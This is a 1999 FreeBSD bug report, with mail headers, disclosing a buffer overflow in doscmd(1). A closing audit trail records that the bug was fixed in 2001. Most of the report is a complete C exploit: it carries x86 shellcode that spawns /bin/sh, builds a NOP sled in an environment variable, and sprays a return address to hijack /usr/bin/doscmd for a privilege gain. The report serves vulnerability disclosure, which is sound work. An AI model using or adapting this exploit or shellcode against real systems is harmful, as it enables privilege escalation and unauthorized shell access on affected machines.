From venglin@lagoon.FreeBSD.lublin.pl  Mon Dec 20 10:55:08 1999
Return-Path: <venglin@lagoon.FreeBSD.lublin.pl>
Received: from mx1.lublin.pl (mx1.lublin.pl [212.182.63.76])
	by hub.freebsd.org (Postfix) with ESMTP id BDCAB14BD8
	for <FreeBSD-gnats-submit@freebsd.org>; Mon, 20 Dec 1999 10:54:39 -0800 (PST)
	(envelope-from venglin@lagoon.FreeBSD.lublin.pl)
Received: from lagoon.freebsd.lublin.pl ([212.182.117.180]:5904 "HELO
        lagoon.FreeBSD.lublin.pl") by krupik.man.lublin.pl with SMTP
	id <S3541739AbPLTSyW>; Mon, 20 Dec 1999 19:54:22 +0100
Received: (qmail 99399 invoked by uid 1001); 20 Dec 1999 18:54:51 -0000
Message-Id: <19991220185451.99398.qmail@lagoon.FreeBSD.lublin.pl>
Date: 20 Dec 1999 18:54:51 -0000
From: venglin@lagoon.FreeBSD.lublin.pl
Reply-To: venglin@lagoon.FreeBSD.lublin.pl
To: FreeBSD-gnats-submit@freebsd.org
Subject: [SECURITY] ustrcpy() buffer overflow in doscmd(1)
X-Send-Pr-Version: 3.2

>Number:         15593
>Category:       bin
>Synopsis:       [SECURITY] ustrcpy() buffer overflow in doscmd(1)
>Confidential:   no
>Severity:       non-critical
>Priority:       medium
>Responsible:    tg
>State:          closed
>Quarter:        
>Keywords:       
>Date-Required:  
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Mon Dec 20 11:00:01 PST 1999
>Closed-Date:    Tue Jul 3 04:55:41 PDT 2001
>Last-Modified:  Tue Jul 03 04:56:03 PDT 2001
>Originator:     Przemyslaw Frasunek
>Release:        FreeBSD 3.4-STABLE i386
>Organization:
Lublin BSD Users Group
>Environment:

FreeBSD lagoon.FreeBSD.lublin.pl 3.4-STABLE FreeBSD 3.4-STABLE #0: Sat Dec 18 17:37:37 CET 1999     root@:/usr/sys/compile/LAGOON  i386

>Description:

	It is possible to gain extra privileges by overflowing buffer in
	dos_makepath().

	doscmd(1) is NOT suid/sgid by default.

>How-To-Repeat:

/*
*
* (c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>
* FreeBSD /usr/bin/doscmd exploit.
*
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define NOP		0x90
#define BUFSIZE		1000
#define ADDRS		1200

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
	char *execshell =
	"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
	"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
	"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
	"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

	char *buf, *p;
	int noplen, i, ofs, align;
	long ret, *ap;

	if(!(buf = (char *)malloc(BUFSIZE+1)))
	{
		perror("malloc()");
		return -1;
	}

	if (argc < 3) { fprintf(stderr, "usage: %s ofs align\n", argv[0]); exit(0); }

	ofs = atoi(argv[1]);
	align = atoi(argv[2]);

	noplen = BUFSIZE - strlen(execshell);
	ret = getesp() + ofs;

	memset(buf, NOP, noplen);
	buf[noplen+1] = '\0';
	strcat(buf, execshell);

	setenv("EGG", buf, 1);

	free(buf);

        if(!(buf = (char *)malloc(ADDRS+align+1)))
        {
                perror("malloc()");
                return -1;
	}

	memset(buf, 'a', align);

	p = &buf[align];
        ap = (unsigned long *)p;

        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;

        p = (char *)ap;
        *p = '\0';

	fprintf(stderr, "ret: 0x%x\n", ret);

	execl("/usr/bin/doscmd", "doscmd", buf, 0);

	return 0;
}

>Fix:
	
	Replace ustrcpy() and ustrcat() with strncpy() and strncat()
	in cwd.c:232.

>Release-Note:
>Audit-Trail:
Responsible-Changed-From-To: freebsd-bugs->tg 
Responsible-Changed-By: mikeh 
Responsible-Changed-When: Fri Jun 15 23:34:14 PDT 2001 
Responsible-Changed-Why:  
tg has recently done some work with doscmd 

http://www.FreeBSD.org/cgi/query-pr.cgi?pr=15593 
State-Changed-From-To: open->closed 
State-Changed-By: tg 
State-Changed-When: Tue Jul 3 04:55:41 PDT 2001 
State-Changed-Why:  
Fixed, thanks. 

http://www.FreeBSD.org/cgi/query-pr.cgi?pr=15593 
>Unformatted:
